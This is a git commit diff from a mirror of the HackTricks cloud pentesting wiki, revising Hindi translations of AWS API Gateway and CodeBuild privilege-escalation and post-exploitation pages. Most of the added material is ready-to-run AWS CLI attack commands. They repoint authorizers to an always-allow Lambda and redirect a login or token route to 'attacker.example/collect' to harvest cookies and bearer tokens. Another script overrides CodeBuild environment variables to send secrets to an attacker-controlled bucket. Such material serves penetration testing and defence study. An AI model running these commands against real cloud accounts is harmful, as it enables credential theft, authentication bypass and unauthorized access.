mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
+31
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,21 +12,44 @@
|
||||
|
||||
### Resource Policy
|
||||
|
||||
API gateway(s) की resource policy को संशोधित करके अपने लिए उन तक पहुँच प्रदान करें
|
||||
API gateway(s) की resource policy को संशोधित करें ताकि आप स्वयं को उनके लिए एक्सेस दे सकें
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Lambda authorizers के कोड को संशोधित करें ताकि आप सभी endpoints तक पहुँच प्राप्त कर सकें।\
|
||||
या बस authorizer के उपयोग को हटा दें।
|
||||
lambda authorizers के code को संशोधित करें ताकि आप स्वयं को सभी endpoints तक पहुँच दे सकें।\
|
||||
या बस authorizer का उपयोग हटा दें।
|
||||
|
||||
यदि आपके पास control-plane permissions हैं जिससे आप **create/update an authorizer** कर सकते हैं (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`) तो आप **repoint the authorizer to a Lambda that always allows** भी कर सकते हैं।
|
||||
|
||||
REST APIs (changes typically require a deployment):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
HTTP APIs / `apigatewayv2` (अक्सर तुरंत प्रभावी होते हैं):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM Permissions
|
||||
|
||||
यदि कोई resource IAM authorizer का उपयोग कर रहा है, तो आप IAM permissions संशोधित करके अपने लिए उस तक पहुँच दे सकते हैं।\
|
||||
या बस authorizer के उपयोग को हटा दें।
|
||||
यदि कोई resource IAM authorizer का उपयोग कर रहा है, तो आप IAM permissions संशोधित करके स्वयं को उस तक पहुँच दे सकते हैं।\
|
||||
या केवल authorizer के उपयोग को हटा दें।
|
||||
|
||||
### API Keys
|
||||
|
||||
यदि API keys का उपयोग हो रहा है, तो आप उन्हें leak करके persistence बनाए रख सकते हैं या नए keys बना सकते हैं।\
|
||||
या बस API keys के उपयोग को हटा दें।
|
||||
यदि API keys का उपयोग हो रहा है, तो आप उन्हें leak करके persistence बनाए रख सकते हैं या नए API keys भी बना सकते हैं।\
|
||||
या केवल API keys के उपयोग को हटा दें।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+45
-22
@@ -10,37 +10,60 @@
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### अप्रदर्शित APIs तक पहुँच
|
||||
### प्रदर्शित नहीं किए गए APIs तक पहुँच
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
फिर, EC2 मशीन से आप उस endpoint तक पहुँच पाएँगे और इसलिए उस gateway API को कॉल कर सकेंगे जो पहले exposed नहीं था।
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
यह तकनीक [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) में पायी गयी थी।
|
||||
|
||||
जैसा कि [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` सेक्शन में बताया गया है, डिफ़ॉल्ट रूप से वैल्यू **`WHEN_NO_MATCH`**, request के **Content-Type** हेडर की जाँच करते समय, request को बिना किसी transformation के backend को पास कर देता है।
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
इसलिए, CTF में API Gateway के पास एक integration template था जो response में **flag के exfiltrated होने** को रोक रहा था जब एक request `Content-Type: application/json` के साथ भेजी गई थी:
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
हालाँकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को निष्क्रिय कर दिया जा सकता था।
|
||||
हालाँकि, **`Content-type: text/json`** के साथ request भेजने से वह फ़िल्टर अप्रभावी हो जाएगा।
|
||||
|
||||
अंत में, चूँकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, यह संभव था कि कोई भी मनमाना dynamoDB क्वेरी बिना किसी सीमा के भेजी जा सके अगर क्वेरी को बॉडी में रखकर POST request भेजा जाए और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए:
|
||||
अंततः, चूँकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए बॉडी में क्वेरी डालकर और हेडर `X-HTTP-Method-Override: GET` का उपयोग करके बिना किसी सीमा के मनमाना dynamoDB query भेजना संभव था:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
### उपयोग योजना DoS
|
||||
|
||||
In the **Enumeration** section you can see how to **usage plan प्राप्त करें** of the keys. If you have the key and it's **सीमित** to X usages **प्रति माह**, you could **बस इसे इस्तेमाल करके DoS पैदा कर सकते हैं**.
|
||||
**Enumeration** सेक्शन में आप देख सकते हैं कि **उपयोग योजना कैसे प्राप्त करें** keys की। अगर आपके पास key है और वह **सीमित** है **प्रति महीने** X उपयोगों तक, तो आप **बस इसे इस्तेमाल करके DoS उत्पन्न कर सकते हैं**।
|
||||
|
||||
The **API Key** just need to be **शामिल** inside a **HTTP header** called **`x-api-key`**.
|
||||
**API Key** को बस **HTTP header** जिसे **`x-api-key`** कहा जाता है के अंदर **शामिल** करना होता है।
|
||||
|
||||
### रूट इंटीग्रेशन को Exfil ट्रैफ़िक के लिए बदलें (HTTP APIs / `apigatewayv2`)
|
||||
|
||||
यदि आप किसी **HTTP API integration** को अपडेट कर सकते हैं, तो आप एक संवेदनशील route (जैसे `/login`, `/token`, `/submit`) को attacker-controlled HTTP endpoint की ओर **repoint** करके चुपचाप **collect headers and bodies** कर सकते हैं (cookies, `Authorization` bearer tokens, session ids, API keys, internal jobs द्वारा भेजे गए secrets, आदि)।
|
||||
|
||||
उदाहरण वर्कफ़्लो:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
|
||||
# Find routes and the integration attached to the interesting route
|
||||
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||
ROUTE_ID="<route_id>"
|
||||
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||
|
||||
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||
COLLECTOR_URL="https://attacker.example/collect"
|
||||
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||
```
|
||||
नोट्स:
|
||||
|
||||
- **HTTP APIs** के लिए, परिवर्तन आम तौर पर तुरंत लागू हो जाते हैं (REST APIs के विपरीत जहाँ आपको आम तौर पर एक deployment बनानी पड़ती है)।
|
||||
- किसी भी arbitrary URL की ओर पॉइंट कर पाने की क्षमता integration type/config पर निर्भर करती है; कुछ मामलों में आप patch करते समय integration type भी बदल सकते हैं।
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **एक मौजूदा Gateway Response को modify करके custom headers या response templates शामिल कर सकता है जो sensitive information को leak करें या malicious scripts को execute करें**.
|
||||
एक attacker जिसके पास permissions `apigateway:UpdateGatewayResponse` और `apigateway:CreateDeployment` हों, वह **मौजूदा Gateway Response को संशोधित कर सकता है ताकि उसमें custom headers या response templates शामिल किए जा सकें जो संवेदनशील जानकारी को leak करें या malicious scripts को execute करें**।
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**संभावित प्रभाव**: Leakage of संवेदनशील जानकारी, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक अनधिकृत पहुँच।
|
||||
**Potential Impact**: Leakage of sensitive information, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक अनधिकृत पहुँच।
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण आवश्यक
|
||||
> परीक्षण की आवश्यकता
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` अनुमतियाँ हों, **मौजूदा API Gateway स्टेज को बदलकर ट्रैफ़िक को किसी अन्य स्टेज पर रीडायरेक्ट करने या कैशिंग सेटिंग्स बदलकर कैश किए गए डेटा तक अनधिकृत पहुँच प्राप्त करने** में सक्षम हो सकता है।
|
||||
`apigateway:UpdateStage` और `apigateway:CreateDeployment` अनुमतियों वाला एक हमलावर **मौजूदा API Gateway stage को संशोधित करके ट्रैफ़िक को किसी अन्य stage पर रीडायरेक्ट कर सकता है या कैशिंग सेटिंग्स बदलकर कैश किए गए डेटा तक अनधिकृत पहुँच प्राप्त कर सकता है।**
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -69,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: कैश्ड डेटा तक अनधिकृत पहुँच, API ट्रैफ़िक में बाधा डालना या उसे इंटरसेप्ट करना।
|
||||
**Potential Impact**: कैश्ड डेटा तक अनधिकृत पहुँच, API ट्रैफ़िक का व्यवधान या इंटरसेप्ट करना।
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण आवश्यक
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` अनुमतियाँ हैं, वह **मौजूदा API Gateway REST API method के method response को संशोधित कर सकता है ताकि इसमें कस्टम हेडर या response templates शामिल किए जाएँ जो संवेदनशील जानकारी को leak कर दें या दुर्भावनापूर्ण स्क्रिप्ट चला सकें।**
|
||||
An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **मौजूदा API Gateway REST API method के method response को संशोधित करके custom headers या response templates शामिल कर सकता है जो संवेदनशील जानकारी को leak कर सकते हैं या दुर्भावनापूर्ण स्क्रिप्ट्स निष्पादित कर सकते हैं**।
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: संवेदनशील जानकारी का leak, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक unauthorized access।
|
||||
**संभावित प्रभाव**: Leakage of sensitive information, malicious scripts का निष्पादन, या API resources तक अनधिकृत पहुँच।
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण आवश्यक
|
||||
> परीक्षण की आवश्यकता
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateRestApi` और `apigateway:CreateDeployment` permissions वाले attacker API Gateway REST API सेटिंग्स को संशोधित करके logging को disable कर सकता है या minimum TLS version बदल सकता है, जिससे API की सुरक्षा कमजोर हो सकती है।
|
||||
जो हमलावर के पास अनुमतियाँ `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` हैं, वह **API Gateway REST API सेटिंग्स को संशोधित कर लॉगिंग को disable कर सकता है या minimum TLS version बदल सकता है, जिससे संभावित रूप से API की सुरक्षा कमजोर हो सकती है**।
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**संभावित प्रभाव**: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुँच की अनुमति देना या संवेदनशील जानकारी उजागर करना।
|
||||
**संभावित प्रभाव**: API की सुरक्षा कमजोर होना, संभावित रूप से अनधिकृत पहुँच की अनुमति देना या संवेदनशील जानकारी का प्रकटीकरण।
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण की आवश्यकता
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
जिनके पास `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` अनुमतियाँ हैं, वह attacker **नए API keys बना सकता है, उन्हें usage plans से जोड़ सकता है, और फिर इन keys का उपयोग अनधिकृत रूप से APIs तक पहुँच के लिए कर सकता है**।
|
||||
एक हमलावर जिसके पास permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हों, वह **नए API keys बना सकता है, उन्हें usage plans के साथ जोड़ सकता है, और फिर इन keys का उपयोग APIs तक अनधिकृत पहुँच के लिए कर सकता है**।
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -124,7 +147,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potential Impact**: अनधिकृत पहुँच API संसाधनों तक, सुरक्षा नियंत्रणों को दरकिनार करना।
|
||||
**संभावित प्रभाव**: API resources तक अनधिकृत पहुँच, सुरक्षा नियंत्रणों को बायपास करना।
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण आवश्यक
|
||||
|
||||
+26
-14
@@ -12,37 +12,37 @@
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
इस अनुमति के साथ आप configure किए गए APIs के लिए (प्रत्येक region में) API keys जनरेट कर सकते हैं।
|
||||
इस permission के साथ आप configured APIs के API keys जनरेट कर सकते हैं (प्रत्येक region के लिए)।
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Potential Impact:** आप इस तकनीक से privesc नहीं कर सकते लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
|
||||
**संभावित प्रभाव:** आप इस तकनीक से privesc नहीं कर सकते, लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
इस अनुमति के साथ आप कॉन्फ़िगर की गई APIs की जनरेट की गई API keys प्राप्त कर सकते हैं (per region).
|
||||
इस अनुमति के साथ आप कॉन्फ़िगर किए गए APIs के जनरेट किए गए API keys प्राप्त कर सकते हैं (प्रति क्षेत्र)।
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**संभावित प्रभाव:** इस तकनीक से आप privesc नहीं कर सकते, लेकिन संभवतः संवेदनशील जानकारी तक पहुँच मिल सकती है।
|
||||
**संभावित प्रभाव:** आप इस तकनीक से privesc नहीं कर पाएँगे लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
इन permissions के साथ, किसी API की resource policy को बदल कर आप खुद को उसे कॉल करने की अनुमति दे सकते हैं और API gateway के संभावित एक्सेस का दुरुपयोग कर सकते हैं (उदाहरण के लिए किसी vulnerable lambda को invoke करना)।
|
||||
इन अनुमतियों के साथ यह संभव है कि आप किसी API की resource policy को संशोधित करके खुद को इसे कॉल करने की अनुमति दे दें और API gateway के संभावित एक्सेस का दुरुपयोग करें (जैसे किसी कमजोर lambda को invoke करना)।
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Potential Impact:** आप आमतौर पर इस तकनीक से सीधे privesc नहीं कर पाएँगे, लेकिन आपको संवेदनशील जानकारी तक पहुँच मिल सकती है।
|
||||
**Potential Impact:** आप आम तौर पर इस तकनीक से सीधे privesc नहीं कर पाएँगे लेकिन आप संवेदनशील जानकारी तक पहुँच प्राप्त कर सकते हैं।
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण की आवश्यकता
|
||||
> परीक्षण आवश्यक
|
||||
|
||||
`apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` अनुमतियों वाले हमलावर **मौजूदा API Gateway REST API में ऐसे Lambda फ़ंक्शन के साथ एक नया इंटीग्रेशन जोड़ सकते हैं जिस पर एक IAM role जुड़ा हो**। हमलावर फिर **Lambda फ़ंक्शन को ट्रिगर करके मनमाना कोड निष्पादित कर सकता है और संभावित रूप से IAM role से जुड़े संसाधनों तक पहुँच प्राप्त कर सकता है**।
|
||||
`apigateway:PutIntegration`, `apigateway:CreateDeployment`, और `iam:PassRole` अनुमतियाँ रखने वाला एक हमलावर किसी मौजूदा API Gateway REST API में **एक Lambda function जिसे IAM role से जोड़ा गया हो, उसके साथ नया integration जोड़ सकता है**। फिर हमलावर उस Lambda function को ट्रिगर करके **arbitrary code चला सकता है और संभवतः IAM role से जुड़े resources तक पहुँच प्राप्त कर सकता है**।
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**संभावित प्रभाव**: Lambda function's IAM role से जुड़े संसाधनों तक पहुँच।
|
||||
**संभावित प्रभाव**: Lambda function के IAM role से जुड़े संसाधनों तक पहुँच।
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण आवश्यक
|
||||
> परीक्षण की आवश्यकता
|
||||
|
||||
एक हमलावर जिसके पास अनुमतियाँ `apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` हैं, वह **मौजूदा API Gateway authorizer को संशोधित कर सकता है** ताकि सुरक्षा जांचों को दरकिनार किया जा सके या जब API अनुरोध किए जाते हैं तब मनमाना कोड निष्पादित किया जा सके।
|
||||
ऐसा attacker जिसके पास permissions `apigateway:UpdateAuthorizer` और `apigateway:CreateDeployment` हों, मौजूदा **API Gateway authorizer** को संशोधित करके सुरक्षा जांचों को bypass कर सकता है (उदा. इसे ऐसे Lambda की ओर repoint कर देना जो हमेशा "allow" लौटाता है) या API requests किए जाने पर arbitrary code निष्पादित कर सकता है।
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**संभावित प्रभाव**: सुरक्षा जाँचों को दरकिनार करना, API संसाधनों तक अनधिकृत पहुँच।
|
||||
**Potential Impact**: सुरक्षा जांचों को बायपास करना, API संसाधनों तक अनधिकृत पहुँच।
|
||||
|
||||
#### HTTP APIs / `apigatewayv2` वेरिएंट
|
||||
|
||||
HTTP APIs (API Gateway v2) के लिए, समकक्ष ऑपरेशन `apigatewayv2` के माध्यम से authorizer को अपडेट करना है:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> परीक्षण की आवश्यकता
|
||||
|
||||
एक हमलावर के पास `apigateway:UpdateVpcLink` अनुमति होने पर वह **मौजूदा VPC Link को किसी अलग Network Load Balancer की ओर निर्देशित करने के लिए संशोधित कर सकता है, जिससे निजी API ट्रैफ़िक को अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित किया जा सकता है**।
|
||||
एक हमलावर जिसके पास अनुमति `apigateway:UpdateVpcLink` है **मौजूदा VPC Link को किसी अलग Network Load Balancer की ओर इंगित करने के लिए संशोधित कर सकता है, जिससे निजी API ट्रैफ़िक अनधिकृत या दुर्भावनापूर्ण संसाधनों की ओर पुनर्निर्देशित हो सकता है।**
|
||||
```bash
|
||||
VPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
**संभावित प्रभाव**: प्राइवेट API संसाधनों तक अनधिकृत पहुँच, API ट्रैफ़िक का अवरोधन या व्यवधान।
|
||||
**Potential Impact**: निजी API संसाधनों तक अनधिकृत पहुँच, API ट्रैफिक का अवरोध या बाधा।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+89
-23
@@ -12,7 +12,7 @@
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
इनमें से किसी एक permission के साथ भी नया buildspec इस्तेमाल करके build ट्रिगर करना और project को असाइन किए गए iam role का token चुरा लेना पर्याप्त होता है:
|
||||
इन अनुमतियों में से केवल एक भी होने पर, एक नया buildspec देकर build ट्रिगर करना और प्रोजेक्ट को असाइन किए गए iam role का token चुरा लेना पर्याप्त है:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -58,16 +58,82 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**नोट**: इन दोनों कमांड्स के बीच अंतर यह है कि:
|
||||
**Note**: इन दोनों कमांड्स के बीच अंतर यह है कि:
|
||||
|
||||
- `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करके एकल build job को ट्रिगर करता है।
|
||||
- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशनों के साथ build का एक बैच शुरू करने की अनुमति देता है (जैसे एक साथ कई builds चलाना)।
|
||||
- `StartBuild` एक विशिष्ट `buildspec.yml` का उपयोग करते हुए एकल build जॉब ट्रिगर करता है।
|
||||
- `StartBuildBatch` आपको अधिक जटिल कॉन्फ़िगरेशन्स के साथ builds के एक बैच को शुरू करने की अनुमति देता है (जैसे एक साथ कई builds चलाना)।
|
||||
|
||||
**संभावित प्रभाव:** जुड़ी हुई AWS Codebuild roles पर प्रत्यक्ष privesc।
|
||||
**Potential Impact:** संलग्न AWS Codebuild roles पर सीधे privesc।
|
||||
|
||||
#### StartBuild Env Var Override
|
||||
|
||||
भले ही आप **प्रोजेक्ट को संशोधित नहीं कर सकते** (`UpdateProject`) और आप **buildspec को ओवरराइड नहीं कर सकते**, `codebuild:StartBuild` फिर भी build समय पर env vars को ओवरराइड करने की अनुमति देता है, इसके माध्यम से:
|
||||
|
||||
- CLI: `--environment-variables-override`
|
||||
- API: `environmentVariablesOverride`
|
||||
|
||||
यदि build व्यवहार को नियंत्रित करने के लिए environment variables का उपयोग करता है (destination buckets, feature flags, proxy settings, logging, आदि), तो यह build role द्वारा एक्सेस किए जा सकने वाले **exfiltrate secrets** या build के अंदर **code execution** प्राप्त करने के लिए पर्याप्त हो सकता है।
|
||||
|
||||
##### Example 1: Artifact/Upload Destination को Redirect करके Exfiltrate Secrets
|
||||
|
||||
यदि build किसी artifact को ऐसे bucket/path पर प्रकाशित करता है जिसे env var (उदाहरण के लिए `UPLOAD_BUCKET`) द्वारा नियंत्रित किया जाता है, तो उसे attacker-controlled bucket पर ओवरराइड कर दें:
|
||||
```bash
|
||||
export PROJECT="<project-name>"
|
||||
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||
|
||||
export BUILD_ID=$(aws codebuild start-build \
|
||||
--project-name "$PROJECT" \
|
||||
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||
--query build.id --output text)
|
||||
|
||||
# Wait for completion
|
||||
while true; do
|
||||
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||
sleep 5
|
||||
done
|
||||
|
||||
# Example expected location (depends on the buildspec/project logic):
|
||||
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||
```
|
||||
##### उदाहरण 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||
|
||||
यदि बिल्ड `python3` चलाती है (buildspecs में सामान्य), तो आप कभी-कभी buildspec को छुए बिना दुरुपयोग करके कोड निष्पादन प्राप्त कर सकते हैं:
|
||||
|
||||
